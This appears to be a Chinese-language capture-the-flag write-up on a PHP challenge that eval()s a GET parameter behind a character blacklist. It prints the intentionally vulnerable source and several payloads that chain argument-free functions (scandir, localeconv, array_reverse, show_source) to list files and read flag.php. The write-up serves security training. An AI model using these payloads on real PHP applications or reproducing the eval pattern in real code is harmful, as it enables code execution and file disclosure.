image-20250304215946163

[!Important]

RCE无参构造

0x01

访问靶场,回显源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

0x02

[!Note]

代码审计,此题并不像前几题一样告知flag.php

过滤的符号有0-9,~,`,$,%,*,(中文,)中文,-,=,{,[,],},:,,,’,",<,>,.,/,?,\

过滤了很多字符 有大写得括号 这里得考点是:无参数文件读取

无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’),不能带参数

localeconv() 函数返回一包含本地数字及货币格式信息的数组。 current() 函数返回数组中的当前元素(单元),默认取第一个值, pos() 同 current() ,是current()的别名 reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE array_reverse()数组逆序 array_flip()是交换数组的键和值

无数字rce函数相关

1
2
3
4
5
6
?c=print_r(show_source(array_rand(array_flip(scandir(pos(localeconv()))))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
next(): 函数将内部指针指向数组中的下一个元素,并输出。
?c=print_r(scandir(current(localeconv())));
print_r(scandir(current(localeconv()))) 查看并输出当前目录所有文件名
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

0x03

构造payload尝试查看当前目录所有文件名

1
?c=print_r(scandir(current(localeconv())));

image-20250304222519289

0x04

构造payload访问flag.php

1
?c=show_source(next(array_reverse(scandir(current(localeconv())))));

image-20250304223914327